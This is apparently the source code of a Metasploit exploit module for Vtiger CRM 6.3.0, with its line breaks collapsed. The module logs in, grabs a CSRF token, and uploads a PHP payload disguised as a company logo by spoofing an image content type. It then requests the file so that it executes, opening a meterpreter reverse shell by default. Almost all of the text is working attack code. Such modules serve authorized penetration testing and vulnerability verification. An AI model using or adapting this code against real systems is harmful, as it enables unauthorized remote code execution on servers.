|
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper
def initialize(info = {}) super(update_info(info, 'Name' => 'Vtiger CRM 6.3.0 - Authenticated Arbitrary File Upload', 'Description' => %q{ Vtiger 6.3.0 CRM's administration interface allows for the upload of a company logo. Instead of uploading an image, an attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file.
This module was tested against vTiger CRM v6.3.0. }, 'Author' => [ 'Benjamin Daniel Mussler', # Discoverys 'Touhid M.Shaikh <admin[at]touhidshaikh.com>' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-6000'], ['CVE','2016-1713'], ['EDB', '38345'] ], 'DefaultOptions' => { 'SSL' => false, 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'Encoder' => 'php/base64' }, 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'vTiger CRM v6.3.0', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 28 2015'))
register_options( [ OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/']), OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), OptString.new('PASSWORD', [ true, "Password to authenticate with", 'password']) ])
# Some PHP version uses php_short_code=ON register_advanced_options( [ OptBool.new('PHPSHORTTAG', [ false, 'Set a short_open_tag option', false ]) ], self.class) end
def check res = nil begin res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php') }) rescue vprint_error("Unable to access the index.php file") return CheckCode::Unknown end
if res and res.code != 200 vprint_error("Error accessing the index.php file") return CheckCode::Unknown end
if res.body =~ /<small> Powered by vtiger CRM (.*.0)<\/small>/i vprint_status("vTiger CRM version: " + $1) case $1 when '6.3.0' return Exploit::CheckCode::Vulnerable else return CheckCode::Detected end end
return CheckCode::Safe end
# Login Function. def login # Dummy Request for grabbing CSRF token and PHPSESSION ID res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vhost' => "#{rhost}:#{rport}", })
# Grabbing CSRF token from body /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? vprint_good("CSRF Token for login: #{csrf}")
# Get Login now. res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'module' => 'Users', 'action' => 'Login', }, 'vars_post' => { '__vtrftk' => csrf, 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }, })
unless res fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") end
if res.code == 302 && res.headers['Location'].include?("index.php?module=Users&parent=Settings&view=SystemSetup") vprint_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}") return res.get_cookies else fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]") return nil end end
def exploit begin cookie = login pay_name = rand_text_alpha(rand(5..10)) + ".php"
# Make a payload raw. I added this bcz when i making this module. server have short_open_tag=ON vprint_warning("Payload Generate according to short_open_tag=#{datastore['PHPSHORTTAG']}") if datastore['PHPSHORTTAG'] == true stager = '<? ' stager << payload.encode stager << ' ?>' else stager = '<?php ' stager << payload.encode stager << ' ?>' end
# Again request for CSRF_token res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vhost' => "#{rhost}:#{rport}", 'cookie' => cookie })
# Grabbing CSRF token from body /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? vprint_good("CSRF Token for Form Upload: #{csrf}")
# Setting Company Form data post_data = Rex::MIME::Message.new post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"__vtrftk\"") # CSRF token post_data.add_part('Vtiger', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"module\"") post_data.add_part('Settings', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"parent\"") post_data.add_part('CompanyDetailsSave', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"action\"") post_data.add_part(stager, content_type = "image/jpeg", transfer_encoding = nil, content_disposition = "form-data; name=\"logo\"; filename=\"#{pay_name}\"") #payload Content-type bypass post_data.add_part('vtiger', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"organizationname\"") post_data.add_part('95, 12th Main Road, 3rd Block, Rajajinagar', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"address\"") post_data.add_part('Bangalore', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"city\"") post_data.add_part('Karnataka', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"state\"") post_data.add_part('560010', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"code\"") post_data.add_part('India', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"country\"") post_data.add_part('+91 9243602352', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"phonxe\"") post_data.add_part('+91 9243602352', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"fax\"") post_data.add_part('www.touhidshaikh.com', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"website\"") post_data.add_part('1234-5678-9012', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"vatid\"") post_data.add_part(' ', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"saveButton\"") data = post_data.to_s
print_good("Payload ready for upload : [ #{pay_name} ]")
print_status("Uploading payload..") # in Company Logo upload our payload. res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vhost' => "#{rhost}:#{rport}", 'cookie' => cookie, 'connection' => 'close', 'headers' => { 'Referer' => "http:// #{rhost}:#{rport}/index.php?parent=Settings&module=Vtiger&view=CompanyDetails", 'Upgrade-Insecure-Requests' => '1', }, 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", })
unless res && res.code == 302 fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!") end
# Cleanup file. register_files_for_cleanup(pay_name)
print_status("Executing Payload [ #{rhost}:#{rport}/test/logo/#{pay_name} ]" ) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "test", "logo", pay_name) })
# If we don't get a 200 when we request our malicious payload, we suspect # we don't have a shell, either. if res && res.code != 200 print_error("Unexpected response, probably the exploit failed") end
disconnect end end end
|